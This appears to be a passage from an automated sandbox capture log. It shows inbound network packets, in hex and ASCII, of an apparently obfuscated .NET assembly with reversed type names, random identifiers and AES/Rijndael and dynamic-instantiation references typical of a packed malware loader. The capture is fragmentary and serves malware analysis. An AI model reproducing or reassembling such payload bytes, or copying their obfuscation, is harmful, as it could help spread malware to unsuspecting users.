2022-01-14 00:51:05 UTC	47	IN	Data Raw: 15 11 25 28 6d 01 00 06 20 00 00 00 00 28 73 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 19 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd e1 06 00 00 11 15 3a 53 00 00 00 20 00 00 00 00 28 73 01 00 06 39 0f 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe 0c 12 00 45 03 00 00 00 24 00 00 00 05 00 00 00 39 00 00 00 38 1f 00 00 00 38 2f 00 00 00 20 00 00 00 00 28 74 01 00 06 3a d6 ff ff ff 26 20 00 00 00 00 38 cb ff ff ff 11 15 28 6e 01 00 06 20 02 00 00 00 fe 0e 12 00 38 b2 ff ff ff dc 20 bd 00 00 00 fe 0e 20 00 38 85 dc ff ff 38 ae 12 00 00 20 37 00 00 00 38 7a dc ff ff fe 0c 11 00 20 0d 00 00 00 fe 0c 28 00 9c 20 14 01 00 00 28 74 01 00 06 39 5d dc ff ff 26 20 11 01 00 00 38 52 dc ff ff fe 0c 0e 00 20 05 00 00 00 20 90 00 00 00 20 30 00 Data Ascii: %(m (s9& 8E8:S (s9& 8E$988/ (t:& 8(n 8 88 78z ( (t9]& 8R 0
2022-01-14 00:51:05 UTC	48	IN	Data Raw: fe 0e 29 00 20 c9 00 00 00 28 74 01 00 06 3a d4 d7 ff ff 26 20 f5 00 00 00 38 c9 d7 ff ff fe 0c 11 00 20 06 00 00 00 20 ce 00 00 00 20 44 00 00 00 59 9c 20 69 00 00 00 28 73 01 00 06 39 a5 d7 ff ff 26 20 80 01 00 00 38 9a d7 ff ff fe 0c 0e 00 20 04 00 00 00 fe 0c 29 00 9c 20 81 01 00 00 38 82 d7 ff ff fe 0c 0e 00 20 09 00 00 00 20 34 00 00 00 20 68 00 00 00 58 9c 20 17 00 00 00 28 74 01 00 06 3a 5e d7 ff ff 26 20 34 01 00 00 38 53 d7 ff ff 20 d7 00 00 00 20 47 00 00 00 59 fe 0e 29 00 20 3e 01 00 00 fe 0e 20 00 38 32 d7 ff ff fe 0c 0e 00 20 16 00 00 00 fe 0c 29 00 9c 20 c6 00 00 00 28 73 01 00 06 3a 19 d7 ff ff 26 20 0b 00 00 00 38 0e d7 ff ff 11 14 11 05 3f bf 0c 00 00 20 59 00 00 00 38 fb d6 ff ff 20 bb 00 00 00 20 29 00 00 00 58 fe 0e 28 00 20 4c 01 00 Data Ascii: ) (t:& 8 DY i(s9& 8 ) 8 4 hX (t:^& 48S GY) > 82 ) (s:& 8? Y8 )X( L
2022-01-14 00:51:05 UTC	49	IN	Data Raw: 38 89 d2 ff ff 20 32 00 00 00 20 35 00 00 00 58 fe 0e 28 00 20 0c 01 00 00 38 70 d2 ff ff fe 0c 11 00 13 1a 20 51 00 00 00 28 73 01 00 06 39 5b d2 ff ff 26 20 4b 01 00 00 38 50 d2 ff ff fe 0c 0e 00 20 18 00 00 00 fe 0c 29 00 9c 20 58 00 00 00 38 38 d2 ff ff 20 c5 00 00 00 20 39 00 00 00 58 fe 0e 29 00 20 54 00 00 00 28 73 01 00 06 39 1a d2 ff ff 26 20 79 00 00 00 38 0f d2 ff ff fe 0c 0e 00 20 0f 00 00 00 fe 0c 29 00 9c 20 d4 00 00 00 38 f7 d1 ff ff fe 0c 0e 00 20 06 00 00 00 fe 0c 29 00 9c 20 12 00 00 00 38 df d1 ff ff 20 0c 00 00 00 20 1a 00 00 00 58 fe 0e 29 00 20 70 01 00 00 28 73 01 00 06 3a c1 d1 ff ff 26 20 b6 00 00 00 38 b6 d1 ff ff fe 0c 11 00 20 0b 00 00 00 fe 0c 28 00 9c 20 1f 01 00 00 38 9e d1 ff ff 20 d4 00 00 00 20 46 00 00 00 59 fe 0e 28 00 Data Ascii: 8 2 5X( 8p Q(s9[& K8P ) X88 9X) T(s9& y8 ) 8 ) 8 X) p(s:& 8 ( 8 FY(
2022-01-14 00:51:05 UTC	51	IN	Data Raw: ff fe 0c 0e 00 20 05 00 00 00 20 25 00 00 00 20 60 00 00 00 58 9c 20 72 01 00 00 38 15 cd ff ff fe 0c 0e 00 20 11 00 00 00 fe 0c 29 00 9c 20 77 00 00 00 38 fd cc ff ff fe 0c 0e 00 20 08 00 00 00 fe 0c 29 00 9c 20 27 01 00 00 fe 0e 20 00 38 dd cc ff ff 11 0b 11 09 3f 3b db ff ff 20 16 01 00 00 38 ce cc ff ff 11 08 1e 62 13 08 20 3b 00 00 00 fe 0e 20 00 38 b6 cc ff ff fe 0c 0e 00 20 1e 00 00 00 20 79 00 00 00 20 2e 00 00 00 58 9c 20 55 01 00 00 fe 0e 20 00 38 93 cc ff ff 20 91 00 00 00 20 12 00 00 00 58 fe 0e 28 00 20 41 01 00 00 38 7e cc ff ff fe 0c 11 00 20 07 00 00 00 fe 0c 28 00 9c 20 85 00 00 00 38 66 cc ff ff fe 0c 11 00 20 05 00 00 00 fe 0c 28 00 9c 20 7f 01 00 00 28 74 01 00 06 39 49 cc ff ff 26 20 31 01 00 00 38 3e cc ff ff fe 0c 0e 00 20 1b 00 00 Data Ascii: % `X r8 ) w8 ) ' 8?; 8b ; 8 y .X U 8 X( A8~ ( 8f ( (t9I& 18>
2022-01-14 00:51:05 UTC	52	IN	Data Raw: fe 0c 18 00 76 6c 6d 58 13 2a 20 92 00 00 00 38 c8 c7 ff ff 00 00 01 10 00 00 02 00 d1 22 3a 0b 23 70 00 00 00 00 13 30 04 00 5c 00 00 00 00 00 00 00 02 d0 3a 00 00 02 28 23 00 00 0a 6f 24 00 00 0a 28 cb 00 00 0a 39 3b 00 00 00 7e 78 00 00 04 3a 05 00 00 00 28 60 01 00 06 73 cc 00 00 0a 25 02 6f cd 00 00 0a 6f ce 00 00 0a 25 7e 77 00 00 04 74 36 00 00 01 6f cd 00 00 0a 6f ce 00 00 0a 6f cf 00 00 0a 2a 02 6f cd 00 00 0a 2a 13 30 03 00 4d 00 00 00 1c 00 00 11 7e 78 00 00 04 3a 05 00 00 00 28 60 01 00 06 03 6f d0 00 00 0a 0a 16 0b 38 21 00 00 00 7e 76 00 00 04 07 9a 06 28 8d 00 00 0a 39 0b 00 00 00 7e 77 00 00 04 74 36 00 00 01 2a 07 17 58 0b 07 7e 76 00 00 04 8e 69 3f d2 ff ff ff 14 2a 00 00 00 8a 02 28 09 00 00 0a 28 d1 00 00 0a 14 fe 06 62 01 00 06 73 d2 Data Ascii: vlmX* 8":#p0\:(#o$(9;~x:(`s%oo%~wt6oooo0M~x:(`o8!~v(9~wt6X~vi?((bs
2022-01-14 00:51:05 UTC	53	IN	Data Raw: 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 Data Ascii: 000000000000000*0
2022-01-14 00:51:05 UTC	55	IN	Data Raw: 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 Data Ascii: 000000000*0000****0
2022-01-14 00:51:05 UTC	59	IN	Data Raw: 00 1d 00 49 66 00 13 00 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 1c 00 00 00 00 31 00 16 47 00 0b 0a 00 00 01 02 00 07 00 55 5c 00 13 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 34 00 00 02 00 00 00 e6 01 00 00 f7 00 00 00 dd 02 00 00 13 00 00 00 00 00 00 00 00 00 00 00 59 00 00 00 12 00 00 00 6b 00 00 00 46 03 00 00 0f 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 17 00 00 00 04 01 00 00 1b 01 00 00 13 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a Data Ascii: If*(((((001GU\0A4YkF0A0*
2022-01-14 00:51:05 UTC	63	IN	Data Raw: 00 00 2a 0e 01 0e 00 6f b7 05 00 06 2a 00 42 28 a9 00 00 06 d0 b4 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f bb 05 00 06 2a 00 42 28 a9 00 00 06 d0 b5 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f bf 05 00 06 2a 00 42 28 a9 00 00 06 d0 b6 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f c3 05 00 06 2a 00 42 28 a9 00 00 06 d0 b7 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f c7 05 00 06 2a 00 42 28 a9 00 00 06 d0 b8 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f cb 05 00 06 2a 00 42 28 a9 00 00 06 d0 b9 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f cf 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 ba 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f d3 05 00 06 2a 00 00 00 42 Data Ascii: oB((*oB((*oB((*oB((:oB((:oB((2oB((2oB
2022-01-14 00:51:05 UTC	64	IN	Data Raw: 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f 2f 06 00 06 2a 00 42 28 a9 00 00 06 d0 d2 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f 33 06 00 06 2a 00 42 28 a9 00 00 06 d0 d3 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f 37 06 00 06 2a 00 42 28 a9 00 00 06 d0 d4 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 3b 06 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 d5 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 3f 06 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 d6 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 43 06 00 06 2a 00 42 28 a9 00 00 06 d0 d7 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 47 06 00 06 2a 00 42 28 a9 00 00 06 d0 d8 00 00 02 28 a0 00 00 06 2a 00 00 00 42 53 Data Ascii: (:o/B((:o3B((:o7B((2o;B((2o?B((*oCB((*oGB((*BS
2022-01-14 00:51:05 UTC	68	IN	Data Raw: 00 00 2d 00 ea 01 27 06 00 01 00 00 6f 16 00 00 2d 00 eb 01 2b 06 00 01 00 00 83 16 00 00 2d 00 ec 01 2f 06 00 01 00 00 97 16 00 00 2d 00 ed 01 33 06 00 01 00 00 ab 16 00 00 2d 00 ee 01 37 06 00 01 00 00 bf 16 00 00 2d 00 ef 01 3b 06 00 01 00 00 d3 16 00 00 2d 00 f0 01 3f 06 00 01 00 00 e7 16 00 00 2d 00 f1 01 43 06 00 01 00 00 fb 16 00 00 2d 00 f2 01 47 06 13 00 16 17 3b 01 13 00 73 17 4e 01 06 00 f0 17 75 01 11 00 91 18 7a 01 11 00 22 19 e9 01 16 00 59 19 ec 01 11 00 9a 19 ef 01 01 00 41 1a 01 02 11 00 82 1a 04 02 16 00 af 1b 51 02 11 00 b6 1b 01 02 13 00 f5 1b 5f 02 01 00 d2 1d aa 02 13 00 d8 1d ae 02 16 00 af 1b bd 03 16 00 33 1f ce 03 16 00 af 1b dd 03 16 00 33 1f ee 03 16 00 3a 1f ee 03 16 00 41 1f fc 03 16 00 48 1f bd 03 16 00 4f 1f ce 03 01 00 ad Data Ascii: -'o-+-/-3-7-;-?-C-G;sNuz"YAQ_33:AHO
2022-01-14 00:51:05 UTC	72	IN	Data Raw: 00 00 00 03 00 c6 01 4a 21 a7 04 46 00 00 00 00 00 03 00 c6 01 7a 21 87 04 49 00 d0 23 00 00 00 00 91 18 0f 17 37 01 4b 00 00 00 00 00 03 00 86 18 54 00 65 01 4b 00 00 00 00 00 03 00 c6 01 24 18 b4 04 4d 00 00 00 00 00 03 00 c6 01 4a 21 ca 04 5a 00 00 00 00 00 03 00 c6 01 7a 21 e6 04 68 00 d8 23 00 00 00 00 91 18 0f 17 37 01 6c 00 00 00 00 00 03 00 86 18 54 00 65 01 6c 00 00 00 00 00 03 00 c6 01 24 18 f5 04 6e 00 00 00 00 00 03 00 c6 01 4a 21 fd 04 71 00 00 00 00 00 03 00 c6 01 7a 21 87 04 75 00 e0 23 00 00 00 00 91 18 0f 17 37 01 77 00 00 00 00 00 03 00 86 18 54 00 65 01 77 00 00 00 00 00 03 00 c6 01 24 18 f5 04 79 00 00 00 00 00 03 00 c6 01 4a 21 fd 04 7c 00 00 00 00 00 03 00 c6 01 7a 21 87 04 80 00 e8 23 00 00 00 00 91 18 0f 17 37 01 82 00 00 00 00 00 Data Ascii: J!Fz!I#7KTeK$MJ!Zz!h#7lTel$nJ!qz!u#7wTew$yJ!\|z!#7
2022-01-14 00:51:05 UTC	76	IN	Data Raw: 00 00 08 00 86 18 54 00 d7 00 b4 01 78 ea 00 00 00 00 91 18 0f 17 37 01 b4 01 80 ea 00 00 08 00 93 00 ad 3f da 0d b4 01 88 ea 00 00 08 00 93 00 b8 3f df 0d b4 01 b4 ea 00 00 08 00 93 00 14 40 a9 0e b8 01 bc ea 00 00 08 00 93 00 1f 40 b6 0e bb 01 c4 ea 00 00 08 00 93 00 2a 40 37 01 be 01 d4 ea 00 00 08 00 93 00 35 40 70 02 be 01 e4 ea 00 00 08 00 93 00 40 40 d3 0e bf 01 f4 ea 00 00 08 00 86 18 54 00 d7 00 c0 01 fc ea 00 00 08 00 91 18 0f 17 37 01 c0 01 50 eb 00 00 08 00 93 00 4b 40 45 01 c0 01 58 eb 00 00 08 00 93 00 5f 40 e3 0e c0 01 60 eb 00 00 08 00 93 00 73 40 37 01 c0 01 68 eb 00 00 08 00 c3 02 f3 40 fe 0e c0 01 70 eb 00 00 08 00 c3 02 fe 40 fe 0e c1 01 78 eb 00 00 08 00 86 18 54 00 05 0f c2 01 88 eb 00 00 08 00 86 18 54 00 0a 0f c3 01 98 eb 00 00 08 Data Ascii: Tx7??@@*@75@p@@T7PK@EX_@`s@7h@p@xTT
2022-01-14 00:51:05 UTC	81	IN	Data Raw: 00 08 00 86 00 8b 47 74 0f 33 02 34 f8 00 00 08 00 c6 00 b3 43 74 0f 34 02 44 f8 00 00 08 00 86 00 96 47 74 0f 35 02 54 f8 00 00 08 00 c6 00 be 43 74 0f 36 02 64 f8 00 00 08 00 c6 00 c9 43 74 0f 37 02 74 f8 00 00 08 00 c6 00 d4 43 6e 0f 38 02 84 f8 00 00 08 00 c6 00 df 43 74 0f 38 02 94 f8 00 00 08 00 c6 00 ea 43 74 0f 39 02 a4 f8 00 00 08 00 c6 00 f5 43 74 0f 3a 02 b4 f8 00 00 08 00 c6 00 00 44 74 0f 3b 02 c4 f8 00 00 08 00 86 00 a1 47 fb 0f 3c 02 cc f8 00 00 08 00 86 00 ac 47 fb 0f 3d 02 d4 f8 00 00 08 00 86 00 b7 47 fb 0f 3e 02 dc f8 00 00 08 00 c6 00 f1 2e 08 02 3f 02 e4 f8 00 00 08 00 c3 02 0b 44 6e 0f 3f 02 ec f8 00 00 08 00 c3 02 16 44 7e 01 3f 02 f4 f8 00 00 08 00 c3 02 21 44 7d 0f 3f 02 04 f9 00 00 08 00 c3 02 37 44 7d 0f 40 02 14 f9 00 00 08 00 Data Ascii: Gt34Ct4DGt5TCt6dCt7tCn8Ct8Ct9Ct:Dt;G<G=G>.?Dn?D~?!D}?7D}@
2022-01-14 00:51:05 UTC	85	IN	Data Raw: 08 00 c3 02 f3 40 fe 0e b4 02 60 01 01 00 08 00 c3 02 fe 40 fe 0e b5 02 68 01 01 00 08 00 c3 02 df 4a fe 0e b6 02 70 01 01 00 08 00 c3 02 35 41 41 0f b7 02 80 01 01 00 08 00 c3 02 0b 44 6e 0f b8 02 88 01 01 00 08 00 c3 02 16 44 7e 01 b8 02 90 01 01 00 08 00 c3 02 21 44 7d 0f b8 02 a0 01 01 00 08 00 c3 02 37 44 7d 0f b9 02 b0 01 01 00 08 00 c3 02 56 41 7e 01 ba 02 b8 01 01 00 08 00 93 00 ec 4c 45 01 ba 02 c0 01 01 00 08 00 93 00 00 4d 05 11 ba 02 c8 01 01 00 08 00 93 00 14 4d c3 0a ba 02 d0 01 01 00 00 00 91 18 0f 17 37 01 ba 02 d8 01 01 00 08 00 86 18 54 00 d7 00 ba 02 e0 01 01 00 08 00 93 00 5d 4d 45 01 ba 02 e8 01 01 00 08 00 93 00 71 4d 10 11 ba 02 f0 01 01 00 00 00 91 18 0f 17 37 01 ba 02 f8 01 01 00 08 00 86 18 54 00 d7 00 ba 02 00 02 01 00 08 00 93 Data Ascii: @`@hJp5AADnD~!D}7D}VA~LEMM7T]MEqM7T
2022-01-14 00:51:05 UTC	89	IN	Data Raw: 00 06 18 54 00 65 01 31 03 dc 0d 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 b3 00 31 03 f0 0d 01 00 08 00 16 00 f5 68 bc 18 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 fc 0d 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 c9 18 31 03 10 0e 01 00 08 00 16 00 f5 68 cf 18 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 1c 0e 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 dd 18 31 03 30 0e 01 00 08 00 16 00 f5 68 e4 18 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 3c 0e 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 f3 18 31 03 50 0e 01 00 08 00 16 00 f5 68 f8 18 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 5c 0e 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 Data Ascii: Te171F$1h1Te171F$1h1Te171F$10h1Te1<71F$1Ph1Te1\71F
2022-01-14 00:51:05 UTC	93	IN	Data Raw: 46 00 24 18 53 1f 31 03 f8 17 01 00 08 00 16 00 f5 68 5c 1f 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 08 18 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 6d 1f 31 03 1c 18 01 00 08 00 16 00 f5 68 75 1f 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 2c 18 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 85 1f 31 03 40 18 01 00 08 00 16 00 f5 68 8c 1f 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 50 18 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 9b 1f 31 03 64 18 01 00 08 00 16 00 f5 68 a2 1f 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 70 18 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 b1 1f 31 03 84 18 01 00 08 00 16 00 f5 68 b8 1f 31 03 00 00 00 00 03 00 06 18 54 Data Ascii: F$S1h\1Te171F$m1hu1Te1,71F$1@h1Te1P71F$1dh1Te1p71F$1h1T
2022-01-14 00:51:05 UTC	96	IN	Data Raw: 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 Data Ascii: )))))))))))))))))))))))))))))))))))))))))))
2022-01-14 00:51:05 UTC	100	IN	Data Raw: b3 20 81 01 89 32 b8 20 69 02 89 32 c2 20 51 00 d2 4f 9f 07 79 00 e7 6f cc 20 79 00 e9 2e c6 07 21 01 fa 6f 08 02 09 02 90 2a d1 20 79 01 07 70 d8 20 79 01 14 70 df 20 d1 01 23 2c 9f 07 79 01 22 70 e4 20 21 01 30 70 eb 20 61 03 41 70 f2 20 61 03 47 70 f2 20 d1 01 90 2a f7 20 19 03 52 70 52 05 49 02 7d 2d 01 21 49 02 65 70 0b 21 49 02 7d 2d 14 21 49 02 72 70 1e 21 49 02 7d 2d 2c 21 e9 03 8d 70 c6 07 81 01 bc 2c 7e 01 49 02 7d 2d 36 21 49 02 7d 2d 40 21 31 01 9b 70 d3 10 19 00 a6 70 48 21 81 01 b0 70 4d 21 21 01 c0 70 53 21 f1 03 54 00 d7 00 f9 03 54 00 d7 00 01 04 54 00 d7 00 09 04 54 00 6b 21 21 04 54 00 d7 00 29 04 54 00 d7 00 31 04 54 00 6f 22 49 04 54 00 d7 00 06 00 15 00 f3 01 02 00 d5 0b e0 13 27 00 8b 0c 59 21 2e 00 23 00 ea 00 2e 00 1b 00 db 00 2e Data Ascii: 2 i2 QOyo y.!o* yp yp #,y"p !0p aAp aGp * RpRI}-!Iep!I}-!Irp!I}-,!p,~I}-6!I}-@!1ppH!pM!!pS!TTTTk!!T)T1To"IT'Y!.#..
2022-01-14 00:51:05 UTC	104	IN	Data Raw: 62 74 64 67 47 44 66 31 32 71 72 00 75 4b 74 76 4b 64 6b 42 6a 76 34 74 33 54 46 51 42 65 00 4e 69 66 76 64 70 74 68 58 79 5a 53 33 6a 38 58 78 45 00 41 74 74 72 69 62 75 74 65 00 6a 73 54 38 56 69 31 6e 71 57 32 6e 4d 36 46 4b 4b 43 4a 60 31 00 43 49 4b 42 59 35 5a 74 71 39 47 67 34 6f 45 35 56 55 00 76 62 68 76 36 59 75 42 4c 42 6e 5a 45 30 48 42 5a 55 00 58 43 42 30 73 38 37 42 44 48 30 69 51 4b 67 4a 36 58 00 48 6d 76 79 77 36 4f 4a 32 56 50 5a 55 43 56 49 6c 55 00 66 6a 76 49 44 58 6f 48 78 4c 54 47 78 6c 41 4c 53 4b 00 69 6f 43 31 59 63 76 62 5a 32 79 52 47 67 73 4f 42 45 00 71 41 53 38 51 69 52 73 38 6e 62 46 61 41 33 65 30 63 00 58 4e 56 30 75 42 4e 49 66 30 68 52 47 4c 6c 54 65 72 00 51 52 52 4b 66 42 72 4e 4a 68 51 75 47 41 73 49 68 5a 00 49 51 Data Ascii: btdgGDf12qruKtvKdkBjv4t3TFQBeNifvdpthXyZS3j8XxEAttributejsT8Vi1nqW2nM6FKKCJ`1CIKBY5Ztq9Gg4oE5VUvbhv6YuBLBnZE0HBZUXCB0s87BDH0iQKgJ6XHmvyw6OJ2VPZUCVIlUfjvIDXoHxLTGxlALSKioC1YcvbZ2yRGgsOBEqAS8QiRs8nbFaA3e0cXNV0uBNIf0hRGLlTerQRRKfBrNJhQuGAsIhZIQ
2022-01-14 00:51:05 UTC	108	IN	Data Raw: 70 35 41 00 73 67 6e 69 72 74 53 62 65 46 6e 6f 69 74 61 73 72 65 76 6e 6f 43 65 72 75 63 65 53 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 35 39 32 34 38 61 73 64 00 74 6e 65 6d 65 6c 45 67 6e 69 64 6f 63 6e 45 65 67 61 73 73 65 4d 79 72 61 6e 69 42 6e 6f 69 74 61 72 75 67 69 66 6e 6f 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 33 31 36 33 32 00 6d 75 4f 70 62 58 67 75 48 68 77 57 5a 68 6a 31 76 77 43 00 73 67 6e 69 64 6e 69 42 65 67 6e 61 68 63 78 45 61 74 61 64 61 74 65 4d 6e 6f 69 74 70 69 72 63 73 65 44 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 32 32 38 31 00 65 70 79 54 6e 6f 69 74 63 65 6c 6c 6f 43 72 65 64 61 65 48 62 65 57 74 65 4e 6d 65 74 73 79 53 38 39 39 37 35 00 49 6e 74 31 36 00 64 61 74 61 00 45 6e 30 4b Data Ascii: p5AsgnirtSbeFnoitasrevnoCeruceSledoMecivreSmetsyS59248asdtnemelEgnidocnEegasseMyraniBnoitarugifnoCledoMecivreSmetsyS31632muOpbXguHhwWZhj1vwCsgnidniBegnahcxEatadateMnoitpircseDledoMecivreSmetsyS2281epyTnoitcelloCredaeHbeWteNmetsyS89975Int16dataEn0K
2022-01-14 00:51:05 UTC	113	IN	Data Raw: 6f 64 65 00 47 65 74 53 74 72 69 6e 67 00 73 65 74 5f 55 73 65 4d 61 63 68 69 6e 65 4b 65 79 53 74 6f 72 65 00 48 35 46 6a 57 49 32 71 4c 41 00 48 49 6d 48 65 68 4d 51 73 00 20 00 42 69 74 43 6f 6e 76 65 72 74 65 72 00 47 65 74 42 79 74 65 73 00 43 6f 70 79 00 4f 64 54 66 74 56 58 67 52 00 66 42 53 49 73 46 61 76 73 00 6c 56 76 6d 32 6a 63 36 33 00 51 6b 75 67 67 53 31 58 38 00 71 39 4e 59 46 47 39 4b 69 00 4f 62 74 38 64 67 47 44 66 00 62 32 71 43 72 6e 4b 57 31 00 51 33 6c 6a 55 79 76 58 6d 00 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 00 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 00 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 00 41 63 74 69 76 61 74 6f 72 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 4f 62 6a Data Ascii: odeGetStringset_UseMachineKeyStoreH5FjWI2qLAHImHehMQs BitConverterGetBytesCopyOdTftVXgRfBSIsFavslVvm2jc63QkuggS1X8q9NYFG9KiObt8dgGDfb2qCrnKW1Q3ljUyvXmSymmetricAlgorithmAesCryptoServiceProviderRijndaelManagedActivatorCreateInstanceObj
